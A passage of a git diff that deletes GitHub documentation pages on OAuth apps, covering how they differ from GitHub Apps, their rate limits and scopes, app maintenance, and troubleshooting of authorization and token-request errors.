%} can exchange a request token for an access token after a redirect via a web request. | -| An installation token identifies the app as the GitHub Apps bot, such as @jenkins-bot. | An access token identifies the app as the user who granted the token to the app, such as @octocat. | -| Installation access tokens expire after a predefined amount of time (currently 1 hour). | OAuth tokens remain active until they're revoked by the customer. | -| {% data variables.product.prodname_github_apps %} installed on organizations or repositories are subject to rate limits that scale with the number of installations. For more information, see [AUTOTITLE](/apps/creating-github-apps/setting-up-a-github-app/rate-limits-for-github-apps). | OAuth tokens use the user's rate limit of 5,000 requests per hour. | -| Rate limit increases can be granted both at the GitHub Apps level (affecting all installations) and at the individual installation level. | Rate limit increases are granted per {% data variables.product.prodname_oauth_app %}. Every token granted to that {% data variables.product.prodname_oauth_app %} gets the increased limit. | -| {% data variables.product.prodname_github_apps %} can authenticate on behalf of the user. The flow to authorize is the same as the {% data variables.product.prodname_oauth_app %} authorization flow. User access tokens can expire and be renewed with a refresh token. For more information, see [AUTOTITLE](/apps/creating-github-apps/authenticating-with-a-github-app/refreshing-user-access-tokens) and [AUTOTITLE](/apps/creating-github-apps/authenticating-with-a-github-app/identifying-and-authorizing-users-for-github-apps). | The OAuth flow used by {% data variables.product.prodname_oauth_apps %} authorizes an {% data variables.product.prodname_oauth_app %} on behalf of the user. This is the same flow used to generate a {% data variables.product.prodname_github_app %} user access token. | - -## Requesting permission levels for resources - -Unlike {% data variables.product.prodname_oauth_apps %}, GitHub Apps have targeted permissions that allow them to request access only to what they need. For example, a Continuous Integration (CI) GitHub App can request read access to repository content and write access to the status API. Another GitHub App can have no read or write access to code but still have the ability to manage issues, labels, and milestones. {% data variables.product.prodname_oauth_apps %} can't use granular permissions. - -{% rowheaders %} - -| Access | GitHub Apps (`read` or `write` permissions) | {% data variables.product.prodname_oauth_apps %} | -| ------ | ----- | ----------- | -| **For access to public repositories** | Public repository needs to be chosen during installation. | `public_repo` scope. | -| **For access to repository code/contents** | Repository contents | `repo` scope. | -| **For access to issues, labels, and milestones** | Issues | `repo` scope. | -| **For access to pull requests, labels, and milestones** | Pull requests | `repo` scope. | -| **For access to commit statuses (for CI builds)** | Commit statuses | `repo:status` scope. | -| **For access to deployments and deployment statuses** | Deployments | `repo_deployment` scope. | -| **To receive events via a webhook** | A GitHub App includes a webhook by default. | `write:repo_hook` or `write:org_hook` scope. | - -{% endrowheaders %} - -## Repository discovery - -| GitHub Apps | {% data variables.product.prodname_oauth_apps %} | -| ----- | ----------- | -| GitHub Apps can look at `/installation/repositories` to see repositories the installation can access. | {% data variables.product.prodname_oauth_apps %} can look at `/user/repos` for a user view or `/orgs/:org/repos` for an organization view of accessible repositories. | -| GitHub Apps receive webhooks when repositories are added or removed from the installation. | {% data variables.product.prodname_oauth_apps %} create organization webhooks for notifications when a new repository is created within an organization. | - -## Webhooks - -| GitHub Apps | {% data variables.product.prodname_oauth_apps %} | -| ----- | ----------- | -| By default, GitHub Apps have a single webhook that receives the events they are configured to receive for every repository they have access to. | {% data variables.product.prodname_oauth_apps %} request the webhook scope to create a repository webhook for each repository they need to receive events from. | -| GitHub Apps receive certain organization-level events with the organization member's permission. | {% data variables.product.prodname_oauth_apps %} request the organization webhook scope to create an organization webhook for each organization they need to receive organization-level events from. | -| Webhooks are automatically disabled when the GitHub App is uninstalled. | Webhooks are not automatically disabled if an {% data variables.product.prodname_oauth_app %}'s access token is deleted, and there is no way to clean them up automatically. You will have to ask users to do this manually.| - -## Git access - -| GitHub Apps | {% data variables.product.prodname_oauth_apps %} | -| ----- | ----------- | -| GitHub Apps ask for repository contents permission and use your installation access token to authenticate via HTTP-based Git. For more information, see [AUTOTITLE](/apps/creating-github-apps/authenticating-with-a-github-app/generating-an-installation-access-token-for-a-github-app)| {% data variables.product.prodname_oauth_apps %} ask for `write:public_key` scope and [Create a deploy key](/rest/deployments#create-a-deploy-key) via the API. You can then use that key to perform Git commands. | -| The token is used as the HTTP password. | The token is used as the HTTP username. | - -## Machine vs. bot accounts - -Machine user accounts are OAuth-based personal accounts that segregate automated systems using GitHub's user system. - -Bot accounts are specific to GitHub Apps and are built into every GitHub App. - -| GitHub Apps | {% data variables.product.prodname_oauth_apps %} | -| ----- | ----------- | -| GitHub App bots do not consume a {% data variables.product.prodname_enterprise %} {% ifversion enterprise-licensing-language %}license{% else %}seat{% endif %}. | A machine user account consumes a {% data variables.product.prodname_enterprise %} {% ifversion enterprise-licensing-language %}license{% else %}seat{% endif %}. | -| Because a GitHub App bot is never granted a password, a customer can't sign into it directly. | A machine user account is granted a username and password to be managed and secured by the customer. | diff --git a/content/apps/oauth-apps/building-oauth-apps/index.md b/content/apps/oauth-apps/building-oauth-apps/index.md deleted file mode 100644 index d756ee1794fb..000000000000 --- a/content/apps/oauth-apps/building-oauth-apps/index.md +++ /dev/null @@ -1,24 +0,0 @@ ---- -title: Building OAuth apps -intro: You can build {% data variables.product.prodname_oauth_apps %} for yourself or others to use. Learn how to register and set up permissions and authorization options for {% data variables.product.prodname_oauth_apps %}. -redirect_from: - - /apps/building-integrations/setting-up-and-registering-oauth-apps - - /apps/building-oauth-apps - - /developers/apps/building-oauth-apps -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - OAuth apps -children: - - /differences-between-github-apps-and-oauth-apps - - /rate-limits-for-oauth-apps - - /creating-an-oauth-app - - /authenticating-to-the-rest-api-with-an-oauth-app - - /authorizing-oauth-apps - - /scopes-for-oauth-apps - - /creating-a-custom-badge-for-your-oauth-app - - /best-practices-for-creating-an-oauth-app ---- - diff --git a/content/apps/oauth-apps/building-oauth-apps/rate-limits-for-oauth-apps.md b/content/apps/oauth-apps/building-oauth-apps/rate-limits-for-oauth-apps.md deleted file mode 100644 index f1d9d7c11929..000000000000 --- a/content/apps/oauth-apps/building-oauth-apps/rate-limits-for-oauth-apps.md +++ /dev/null @@ -1,48 +0,0 @@ ---- -title: Rate limits for OAuth apps -intro: '{% data reusables.shortdesc.rate_limits_apps %}' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - OAuth apps -shortTitle: Rate limits ---- - -> [!NOTE] -> Consider building a {% data variables.product.prodname_github_app %} instead of an {% data variables.product.prodname_oauth_app %}. The rate limit for {% data variables.product.prodname_github_apps %} using an installation access token scales with the number of repositories and number of organization users. Conversely, {% data variables.product.prodname_oauth_apps %} have lower rate limits and do not scale. For more information, see [AUTOTITLE](/apps/oauth-apps/building-oauth-apps/differences-between-github-apps-and-oauth-apps) and [AUTOTITLE](/apps/creating-github-apps/setting-up-a-github-app/about-creating-github-apps). - -## About rate limits for {% data variables.product.prodname_oauth_apps %} - -{% data variables.product.prodname_oauth_apps %} act on behalf of a user, by making requests with a user access token after the user authorizes the app. For more information, see [AUTOTITLE](/apps/oauth-apps/building-oauth-apps/authorizing-oauth-apps). - -The generation of these user access tokens is subject to a rate limit. Additionally, API requests made with these user access tokens are subject to rate limits. - -## Rate limits for signing in users - -{% data variables.product.prodname_oauth_apps %} should always cache their tokens, and only rarely need to sign in a user. Repeatedly signing in a user can indicate a bug, most frequently seen as an infinite loop between the app and {% data variables.product.company_short %}. If an app signs the user in ten times within one hour, the next sign in within the same hour will require re-authorization of the application. This ensures the user is aware that the app is minting so many tokens, and provides a break in what may be an infinite loop otherwise. This ten _sign in_ rate limit is distinct from the ten _token_ limit also enforced for {% data variables.product.prodname_oauth_apps %}. For information about the ten token limit, see [AUTOTITLE](/apps/oauth-apps/building-oauth-apps/authorizing-oauth-apps#creating-multiple-tokens-for-oauth-apps). - -## Rate limits for the API - -{% ifversion ghes %} - -API rate limits are disabled by default for {% data variables.product.prodname_ghe_server %}. Contact your site administrator to confirm the rate limits for your instance. - -If you are a site administrator, you can set rate limits for your instance. For more information, see [AUTOTITLE](/admin/configuration/configuring-user-applications-for-your-enterprise/configuring-rate-limits). - -If you are developing an app for users or organizations outside of your instance, the standard {% data variables.product.github %} rate limits apply. For more information, see [AUTOTITLE](/free-pro-team@latest/rest/overview/rate-limits-for-the-rest-api) and [AUTOTITLE](/free-pro-team@latest/graphql/overview/resource-limitations) in the {% data variables.product.prodname_free_user %} documentation. - -{% else %} - -{% data variables.product.company_short %} sets a limit on the number of requests a {% data variables.product.prodname_oauth_app %} can make to the REST API within a specific time period. It also sets a limit on the point value of queries that a {% data variables.product.prodname_oauth_app %} can make to the GraphQL API within a specific time period. In addition to these primary rate limits, {% data variables.product.company_short %} may also apply secondary rate limits. These limits help to prevent abuse and denial-of-service attacks, and ensure that the system remains available for all users. - -For more information, see [AUTOTITLE](/rest/overview/rate-limits-for-the-rest-api) and [AUTOTITLE](/graphql/overview/resource-limitations). - -{% endif %} - -## Further reading - -* [AUTOTITLE](/rest/overview/rate-limits-for-the-rest-api) -* [AUTOTITLE](/graphql/overview/resource-limitations) -* [AUTOTITLE](/apps/creating-github-apps/registering-a-github-app/rate-limits-for-github-apps) diff --git a/content/apps/oauth-apps/building-oauth-apps/scopes-for-oauth-apps.md b/content/apps/oauth-apps/building-oauth-apps/scopes-for-oauth-apps.md deleted file mode 100644 index f1c9d77cce49..000000000000 --- a/content/apps/oauth-apps/building-oauth-apps/scopes-for-oauth-apps.md +++ /dev/null @@ -1,123 +0,0 @@ ---- -title: Scopes for OAuth apps -intro: '{% data reusables.shortdesc.understanding_scopes_for_oauth_apps %}' -redirect_from: - - /apps/building-integrations/setting-up-and-registering-oauth-apps/about-scopes-for-oauth-apps - - /apps/building-oauth-apps/scopes-for-oauth-apps - - /apps/building-oauth-apps/understanding-scopes-for-oauth-apps - - /developers/apps/scopes-for-oauth-apps - - /developers/apps/building-oauth-apps/scopes-for-oauth-apps -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - OAuth apps ---- - -> [!NOTE] -> Consider building a {% data variables.product.prodname_github_app %} instead of an {% data variables.product.prodname_oauth_app %}. {% data variables.product.prodname_github_apps %} use fine-grained permissions instead of scopes, which give you more control over what your app can do. For more information, see [AUTOTITLE](/apps/oauth-apps/building-oauth-apps/differences-between-github-apps-and-oauth-apps) and [AUTOTITLE](/apps/creating-github-apps/setting-up-a-github-app/about-creating-github-apps). - -When setting up an {% data variables.product.prodname_oauth_app %} on GitHub, requested scopes are displayed to the user on the authorization form. - -> [!NOTE] -> If you're building a GitHub App, you don’t need to provide scopes in your authorization request. For more on this, see [AUTOTITLE](/apps/creating-github-apps/authenticating-with-a-github-app/identifying-and-authorizing-users-for-github-apps). - -If your {% data variables.product.prodname_oauth_app %} doesn't have access to a browser, such as a CLI tool, then you don't need to specify a scope for users to authenticate to your app. For more information, see [AUTOTITLE](/apps/oauth-apps/building-oauth-apps/authorizing-oauth-apps#device-flow). - -Check headers to see what OAuth scopes you have, and what the API action accepts: - -```shell -$ curl -H "Authorization: Bearer OAUTH-TOKEN" {% data variables.product.rest_url %}/users/codertocat -I -HTTP/2 200 -X-OAuth-Scopes: repo, user -X-Accepted-OAuth-Scopes: user -``` - -* `X-OAuth-Scopes` lists the scopes your token has authorized. -* `X-Accepted-OAuth-Scopes` lists the scopes that the action checks for. - -## Available scopes - -Name | Description ------|-----------| -**`(no scope)`** | Grants read-only access to public information (including user profile info, repository info, and gists){% ifversion ghes %} -**`site_admin`** | Grants site administrators access to [{% data variables.product.prodname_ghe_server %} Administration API endpoints](/rest/enterprise-admin).{% endif %} -**`repo`** | Grants full access to public{% ifversion ghec or ghes %}, internal,{% endif %} and private repositories including read and write access to code, commit statuses, repository invitations, collaborators, deployment statuses, and repository webhooks. **Note:** In addition to repository related resources, the `repo` scope also grants access to manage organization-owned resources including projects, invitations, team memberships and webhooks. This scope also grants the ability to manage projects owned by users. - `repo:status`| Grants read/write access to commit statuses in {% ifversion fpt %}public and private{% elsif ghec or ghes %}public, private, and internal{% endif %} repositories. This scope is only necessary to grant other users or services access to private repository commit statuses _without_ granting access to the code. - `repo_deployment`| Grants access to [deployment statuses](/rest/repos#deployments) for public and private repositories. This scope is only necessary to grant other users or services access to deployment statuses, _without_ granting access to the code. - `public_repo`| Limits access to public repositories. That includes read/write access to code, commit statuses, repository projects, collaborators, and deployment statuses for public repositories and organizations. Also required for starring public repositories. - `repo:invite` | Grants accept/decline abilities for invitations to collaborate on a repository. This scope is only necessary to grant other users or services access to invites _without_ granting access to the code. - `security_events` | Grants: <br/> read and write access to security events in the [{% data variables.product.prodname_code_scanning %} API](/rest/code-scanning) {%- ifversion ghec %}<br/> read and write access to security events in the [{% data variables.product.prodname_secret_scanning %} API](/rest/secret-scanning){%- endif %} <br/> This scope is only necessary to grant other users or services access to security events _without_ granting access to the code. -**`admin:repo_hook`** | Grants read, write, ping, and delete access to repository hooks in {% ifversion fpt %}public or private{% elsif ghec or ghes %}public, private, or internal{% endif %} repositories. The `repo` and `public_repo` scopes grant full access to repositories, including repository hooks. Use the `admin:repo_hook` scope to limit access to only repository hooks. - `write:repo_hook` | Grants read, write, and ping access to hooks in {% ifversion fpt %}public or private{% elsif ghec or ghes %}public, private, or internal{% endif %} repositories. - `read:repo_hook`| Grants read and ping access to hooks in {% ifversion fpt %}public or private{% elsif ghec or ghes %}public, private, or internal{% endif %} repositories. -**`admin:org`** | Fully manage the organization and its teams, projects, and memberships. - `write:org`| Read and write access to organization membership and organization projects. - `read:org`| Read-only access to organization membership, organization projects, and team membership. -**`admin:public_key`** | Fully manage public keys. - `write:public_key`| Create, list, and view details for public keys. - `read:public_key`| List and view details for public keys. -**`admin:org_hook`** | Grants read, write, ping, and delete access to organization hooks. **Note:** OAuth tokens will only be able to perform these actions on organization hooks which were created by the {% data variables.product.prodname_oauth_app %}. {% data variables.product.pat_generic_caps %}s will only be able to perform these actions on organization hooks created by a user. -**`gist`** | Grants write access to gists. -**`notifications`** | Grants: <br/>read access to a user's notifications<br/> mark as read access to threads <br/>watch and unwatch access to a repository, and<br/> read, write, and delete access to thread subscriptions. -**`user`** | Grants read/write access to profile info only. Note that this scope includes `user:email` and `user:follow`. - `read:user`| Grants access to read a user's profile data. - `user:email`| Grants read access to a user's email addresses. - `user:follow`| Grants access to follow or unfollow other users.{% ifversion projects-oauth-scope %} -**`project`** | Grants read/write access to user and organization {% data variables.projects.projects_v2 %}. - `read:project`| Grants read only access to user and organization {% data variables.projects.projects_v2 %}.{% endif %} -**`delete_repo`** | Grants access to delete adminable repositories.{% ifversion team-discussions %} -**`write:discussion`** | Allows read and write access for team discussions. - `read:discussion` | Allows read access for team discussions.{% endif %} -**`write:packages`** | Grants access to upload or publish a package in {% data variables.product.prodname_registry %}. For more information, see [AUTOTITLE](/packages/learn-github-packages/publishing-a-package). -**`read:packages`** | Grants access to download or install packages from {% data variables.product.prodname_registry %}. For more information, see [AUTOTITLE](/packages/learn-github-packages/installing-a-package). -**`delete:packages`** | Grants access to delete packages from {% data variables.product.prodname_registry %}. For more information, see [AUTOTITLE](/packages/learn-github-packages/deleting-and-restoring-a-package). -**`admin:gpg_key`** | Fully manage GPG keys. - `write:gpg_key`| Create, list, and view details for GPG keys. - `read:gpg_key`| List and view details for GPG keys.{% ifversion fpt or ghec %} -**`codespace`** | Grants the ability to create and manage codespaces. Codespaces can expose a GITHUB_TOKEN which may have a different set of scopes. For more information, see [AUTOTITLE](/codespaces/codespaces-reference/security-in-github-codespaces#authentication).{% endif %} -**`workflow`** | Grants the ability to add and update {% data variables.product.prodname_actions %} workflow files. Workflow files can be committed without this scope if the same file (with both the same path and contents) exists on another branch in the same repository. Workflow files can expose `GITHUB_TOKEN` which may have a different set of scopes. For more information, see [AUTOTITLE](/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token).{% ifversion not fpt %} -**`admin:enterprise`** | Gives full control of enterprise functionality. For more information, see [AUTOTITLE](/graphql/guides/managing-enterprise-accounts) in the GraphQL API documentation.<br><br>Includes `manage_runners:enterprise`{% ifversion ghec or ghes %}, `manage_billing:enterprise`,{% endif %} and `read:enterprise`. - `manage_runners:enterprise` | Gives full control over self-hosted runners within the enterprise. For more information, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/about-self-hosted-runners). {% ifversion ghec or ghes %} - `manage_billing:enterprise` | Read and write enterprise billing data. For more information, see [AUTOTITLE](/rest/billing). {% endif %} - `read:enterprise` | Read all data on an enterprise profile. Does not include profile data of enterprise members or organizations.{% endif %} -**`read:audit_log`** | Read audit log data. - -> [!NOTE] -> Your {% data variables.product.prodname_oauth_app %} can request the scopes in the initial redirection. You can specify multiple scopes by separating them with a space using `%20`: -> -> ```text -> https://github.com/login/oauth/authorize? -> client_id=...& -> scope=user%20repo_deployment -> ``` - -## Requested scopes and granted scopes - -The `scope` attribute lists scopes attached to the token that were granted by -the user. Normally, these scopes will be identical to what you requested. -However, users can edit their scopes, effectively -granting your application less access than you originally requested. Also, users -can edit token scopes after the OAuth flow is completed. -You should be aware of this possibility and adjust your application's behavior -accordingly. - -It's important to handle error cases where a user chooses to grant you -less access than you originally requested. For example, applications can warn -or otherwise communicate with their users that they will see reduced -functionality or be unable to perform some actions. - -Also, applications can always send users back through the flow again to get -additional permission, but don’t forget that users can always say no. - -Check out the [Basics of Authentication guide](/rest/guides/basics-of-authentication), which -provides tips on handling modifiable token scopes. - -## Normalized scopes - -When requesting multiple scopes, the token is saved with a normalized list -of scopes, discarding those that are implicitly included by another requested -scope. For example, requesting `user,gist,user:email` will result in a -token with `user` and `gist` scopes only since the access granted with -`user:email` scope is included in the `user` scope. diff --git a/content/apps/oauth-apps/index.md b/content/apps/oauth-apps/index.md deleted file mode 100644 index 323c083fb619..000000000000 --- a/content/apps/oauth-apps/index.md +++ /dev/null @@ -1,14 +0,0 @@ ---- -title: OAuth apps -intro: Learn how to build and maintain {% data variables.product.prodname_oauth_apps %}. -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - OAuth apps -children: - - /using-oauth-apps - - /building-oauth-apps - - /maintaining-oauth-apps ---- diff --git a/content/apps/oauth-apps/maintaining-oauth-apps/activating-optional-features-for-oauth-apps.md b/content/apps/oauth-apps/maintaining-oauth-apps/activating-optional-features-for-oauth-apps.md deleted file mode 100644 index 3b460ab856a0..000000000000 --- a/content/apps/oauth-apps/maintaining-oauth-apps/activating-optional-features-for-oauth-apps.md +++ /dev/null @@ -1,22 +0,0 @@ ---- -title: Activating optional features for OAuth apps -intro: 'You can test new optional features for your {% data variables.product.prodname_oauth_apps %}.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - OAuth apps -shortTitle: Activate optional features ---- - -> [!WARNING] -> Optional features are subject to change. - -## Activating optional features for {% data variables.product.prodname_oauth_apps %} - -{% data reusables.apps.settings-step-personal-orgs %} -{% data reusables.user-settings.developer_settings %} -{% data reusables.user-settings.oauth_apps %} -1. Select the {% data variables.product.prodname_oauth_app %} you want to enable an optional feature for. -{% data reusables.apps.optional_feature_activation %} diff --git a/content/apps/oauth-apps/maintaining-oauth-apps/deleting-an-oauth-app.md b/content/apps/oauth-apps/maintaining-oauth-apps/deleting-an-oauth-app.md deleted file mode 100644 index c9db7f6015c5..000000000000 --- a/content/apps/oauth-apps/maintaining-oauth-apps/deleting-an-oauth-app.md +++ /dev/null @@ -1,22 +0,0 @@ ---- -title: Deleting an OAuth app -intro: '{% data reusables.shortdesc.deleting_oauth_apps %}' -redirect_from: - - /apps/building-integrations/managing-oauth-apps/deleting-an-oauth-app - - /apps/managing-oauth-apps/deleting-an-oauth-app - - /developers/apps/deleting-an-oauth-app - - /developers/apps/managing-oauth-apps/deleting-an-oauth-app -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - OAuth apps ---- -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.developer_settings %} -{% data reusables.user-settings.oauth_apps %} -1. Select the {% data variables.product.prodname_oauth_app %} you want to modify. -1. In the left sidebar, click **Advanced**. -1. Click **Delete application**. -1. Click **Delete this OAuth Application**. diff --git a/content/apps/oauth-apps/maintaining-oauth-apps/index.md b/content/apps/oauth-apps/maintaining-oauth-apps/index.md deleted file mode 100644 index bff7d2e1587a..000000000000 --- a/content/apps/oauth-apps/maintaining-oauth-apps/index.md +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: Maintaining OAuth apps -intro: 'After you create and register an {% data variables.product.prodname_oauth_app %}, you can make modifications to the app, change permissions, transfer ownership, and delete the app.' -redirect_from: - - /apps/building-integrations/managing-oauth-apps - - /apps/managing-oauth-apps - - /developers/apps/managing-oauth-apps -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - OAuth apps -children: - - /modifying-an-oauth-app - - /activating-optional-features-for-oauth-apps - - /transferring-ownership-of-an-oauth-app - - /troubleshooting-authorization-request-errors - - /troubleshooting-oauth-app-access-token-request-errors - - /deleting-an-oauth-app ---- diff --git a/content/apps/oauth-apps/maintaining-oauth-apps/modifying-an-oauth-app.md b/content/apps/oauth-apps/maintaining-oauth-apps/modifying-an-oauth-app.md deleted file mode 100644 index ee87679ec214..000000000000 --- a/content/apps/oauth-apps/maintaining-oauth-apps/modifying-an-oauth-app.md +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: Modifying an OAuth app -intro: '{% data reusables.shortdesc.modifying_oauth_apps %}' -redirect_from: - - /apps/building-integrations/managing-oauth-apps/modifying-an-oauth-app - - /apps/managing-oauth-apps/modifying-an-oauth-app - - /developers/apps/modifying-an-oauth-app - - /developers/apps/managing-oauth-apps/modifying-an-oauth-app -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - OAuth apps ---- -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.developer_settings %} -{% data reusables.user-settings.oauth_apps %} -{% data reusables.user-settings.modify_oauth_app %} -1. Modify the {% data variables.product.prodname_oauth_app %} information that you'd like to change. -{% data reusables.user-settings.update_oauth_app %} diff --git a/content/apps/oauth-apps/maintaining-oauth-apps/transferring-ownership-of-an-oauth-app.md b/content/apps/oauth-apps/maintaining-oauth-apps/transferring-ownership-of-an-oauth-app.md deleted file mode 100644 index bd8cb3736c40..000000000000 --- a/content/apps/oauth-apps/maintaining-oauth-apps/transferring-ownership-of-an-oauth-app.md +++ /dev/null @@ -1,26 +0,0 @@ ---- -title: Transferring ownership of an OAuth app -intro: '{% data reusables.shortdesc.transferring_ownership_of_oauth_apps %}' -redirect_from: - - /apps/building-integrations/managing-oauth-apps/transferring-ownership-of-an-oauth-app - - /apps/managing-oauth-apps/transferring-ownership-of-an-oauth-app - - /developers/apps/transferring-ownership-of-an-oauth-app - - /developers/apps/managing-oauth-apps/transferring-ownership-of-an-oauth-app -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - OAuth apps -shortTitle: Transfer ownership ---- -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.developer_settings %} -{% data reusables.user-settings.oauth_apps %} -1. Select the {% data variables.product.prodname_oauth_app %} you want to modify. -1. Click **Transfer ownership**. -1. To confirm the transfer, in the text field, type the name of the {% data variables.product.prodname_oauth_app %} you want to transfer. -1. Under "New owner's {% data variables.product.prodname_dotcom %} username or organization name," type the name of the user or organization you want to transfer the {% data variables.product.prodname_oauth_app %} to. -1. Click **Transfer this application**. - -Once you initiate the transfer, the new owner needs to navigate to their {% data variables.product.prodname_oauth_app %}s page. From there, they should see the app listed under "Pending transfer requests". They need to click on the app name and then click **Complete transfer**. diff --git a/content/apps/oauth-apps/maintaining-oauth-apps/troubleshooting-authorization-request-errors.md b/content/apps/oauth-apps/maintaining-oauth-apps/troubleshooting-authorization-request-errors.md deleted file mode 100644 index 7fd12f06ae2d..000000000000 --- a/content/apps/oauth-apps/maintaining-oauth-apps/troubleshooting-authorization-request-errors.md +++ /dev/null @@ -1,53 +0,0 @@ ---- -title: Troubleshooting authorization request errors -intro: '{% data reusables.shortdesc.troubleshooting_authorization_request_errors_oauth_apps %}' -redirect_from: - - /apps/building-integrations/managing-oauth-apps/troubleshooting-authorization-request-errors - - /apps/managing-oauth-apps/troubleshooting-authorization-request-errors - - /developers/apps/troubleshooting-authorization-request-errors - - /developers/apps/managing-oauth-apps/troubleshooting-authorization-request-errors -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - GitHub Apps -shortTitle: Troubleshoot authorization ---- -## Application suspended - -If the {% data variables.product.prodname_oauth_app %} you set up has been suspended (due to reported abuse, spam, or a mis-use of the API), GitHub will redirect to the registered callback URL using the following parameters to summarize the error: - - http://your-application.com/callback?error=application_suspended - &error_description=Your+application+has+been+suspended.+Contact+support@github.com. - &error_uri=/apps/building-integrations/setting-up-and-registering-oauth-apps/troubleshooting-authorization-request-errors/%23application-suspended - &state=xyz - -To solve issues with suspended applications, please contact {% data variables.contact.contact_support %}. - -## Redirect URI mismatch - -If you provide a `redirect_uri` that doesn't match what you've registered with your application, GitHub will redirect to the registered callback URL with the following parameters summarizing the error: - - http://your-application.com/callback?error=redirect_uri_mismatch - &error_description=The+redirect_uri+MUST+match+the+registered+callback+URL+for+this+application. - &error_uri=/apps/building-integrations/setting-up-and-registering-oauth-apps/troubleshooting-authorization-request-errors/%23redirect-uri-mismatch - &state=xyz - -To correct this error, either provide a `redirect_uri` that matches what you registered or leave out this parameter to use the default one registered with your application. - -### Access denied - -If the user rejects access to your application, GitHub will redirect to -the registered callback URL with the following parameters summarizing -the error: - - http://your-application.com/callback?error=access_denied - &error_description=The+user+has+denied+your+application+access. - &error_uri=/apps/building-integrations/setting-up-and-registering-oauth-apps/troubleshooting-authorization-request-errors/%23access-denied - &state=xyz - -There's nothing you can do here as users are free to choose not to use -your application. More often than not, users will just close the window -or press back in their browser, so it is likely that you'll never see -this error. diff --git a/content/apps/oauth-apps/maintaining-oauth-apps/troubleshooting-oauth-app-access-token-request-errors.md b/content/apps/oauth-apps/maintaining-oauth-apps/troubleshooting-oauth-app-access-token-request-errors.md deleted file mode 100644 index 2dcea9e2b3ed..000000000000 --- a/content/apps/oauth-apps/maintaining-oauth-apps/troubleshooting-oauth-app-access-token-request-errors.md +++ /dev/null @@ -1,82 +0,0 @@ ---- -title: Troubleshooting OAuth app access token request errors -intro: '{% data reusables.shortdesc.troubleshooting_access_token_request_errors_oauth_apps %}' -redirect_from: - - /apps/building-integrations/managing-oauth-apps/troubleshooting-oauth-app-access-token-request-errors - - /apps/managing-oauth-apps/troubleshooting-oauth-app-access-token-request-errors - - /developers/apps/troubleshooting-oauth-app-access-token-request-errors - - /developers/apps/managing-oauth-apps/troubleshooting-oauth-app-access-token-request-errors -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - OAuth apps -shortTitle: Troubleshoot token request ---- - -> [!NOTE] -> These examples only show JSON responses. - -## Incorrect client credentials - -If the client\_id and or client\_secret you pass are incorrect you will -receive this error response. - -```json -{ - "error": "incorrect_client_credentials", - "error_description": "The client_id and/or client_secret passed are incorrect.", - "error_uri": "/apps/managing-oauth-apps/troubleshooting-oauth-app-access-token-request-errors/#incorrect-client-credentials" -} -``` - -To solve this error, make sure you have the correct credentials for your {% data variables.product.prodname_oauth_app %}. Double check the `client_id` and `client_secret` to make sure they are correct and being passed correctly -to {% data variables.product.github %}. - -## Redirect URI mismatch - -If you provide a `redirect_uri` that doesn't match what you've registered with your {% data variables.product.prodname_oauth_app %}, you'll receive this error message: - -```json -{ - "error": "redirect_uri_mismatch", - "error_description": "The redirect_uri MUST match the registered callback URL for this application.", - "error_uri": "/apps/managing-oauth-apps/troubleshooting-authorization-request-errors/#redirect-uri-mismatch2" -} -``` - -To correct this error, either provide a `redirect_uri` that matches what -you registered or leave out this parameter to use the default one -registered with your application. - -## Bad verification code - -If the verification code you pass is incorrect, expired, or doesn't -match what you received in the first request for authorization you will -receive this error. - -```json -{ - "error": "bad_verification_code", - "error_description": "The code passed is incorrect or expired.", - "error_uri": "/apps/managing-oauth-apps/troubleshooting-oauth-app-access-token-request-errors/#bad-verification-code" -} -``` - -To solve this error, start the [OAuth authorization process again](/apps/oauth-apps/building-oauth-apps/authorizing-oauth-apps) -and get a new code. - -## Unverified user email - -If the user for whom you are trying to generate a user access token has not verified their primary email address with {% data variables.product.company_short %}, you will receive this error. - -```json -{ - "error": "unverified_user_email", - "error_description": "The user must have a verified primary email.", - "error_uri": "/apps/managing-oauth-apps/troubleshooting-oauth-app-access-token-request-errors/#unverified_user_email" -} -``` - -To resolve this error, prompt the user to verify the primary email address on their {% data variables.product.company_short %} account. For more information, see {% ifversion fpt or ghec %}[AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/verifying-your-email-address).{% else %}[AUTOTITLE](/free-pro-team@latest/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/verifying-your-email-address) in the {% data variables.product.prodname_free_user %} documentation.{% endif %} diff --git a/content/apps/oauth-apps/using-oauth-apps/authorizing-oauth-apps.md b/content/apps/oauth-apps/using-oauth-apps/authorizing-oauth-apps.md deleted file mode 100644 index f028c842fe62..000000000000 --- a/content/apps/oauth-apps/using-oauth-apps/authorizing-oauth-apps.md +++ /dev/null @@ -1,93 +0,0 @@ ---- -title: Authorizing OAuth apps -intro: 'You can connect your {% data variables.product.github %} identity to third-party applications using OAuth. When authorizing an {% data variables.product.prodname_oauth_app %}, you should ensure you trust the application, review who it''s developed by, and review the kinds of information the application wants to access.' -redirect_from: - - /articles/authorizing-oauth-apps - - /github/authenticating-to-github/authorizing-oauth-apps - - /github/authenticating-to-github/keeping-your-account-and-data-secure/authorizing-oauth-apps - - /authentication/keeping-your-account-and-data-secure/authorizing-oauth-apps -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Identity - - Access management ---- -When an {% data variables.product.prodname_oauth_app %} wants to identify you by your account on {% data variables.product.github %}, you'll see a page with the app's developer contact information and a list of the specific data that's being requested. - -{% ifversion fpt or ghec %} - -> [!TIP] -> You must [verify your email 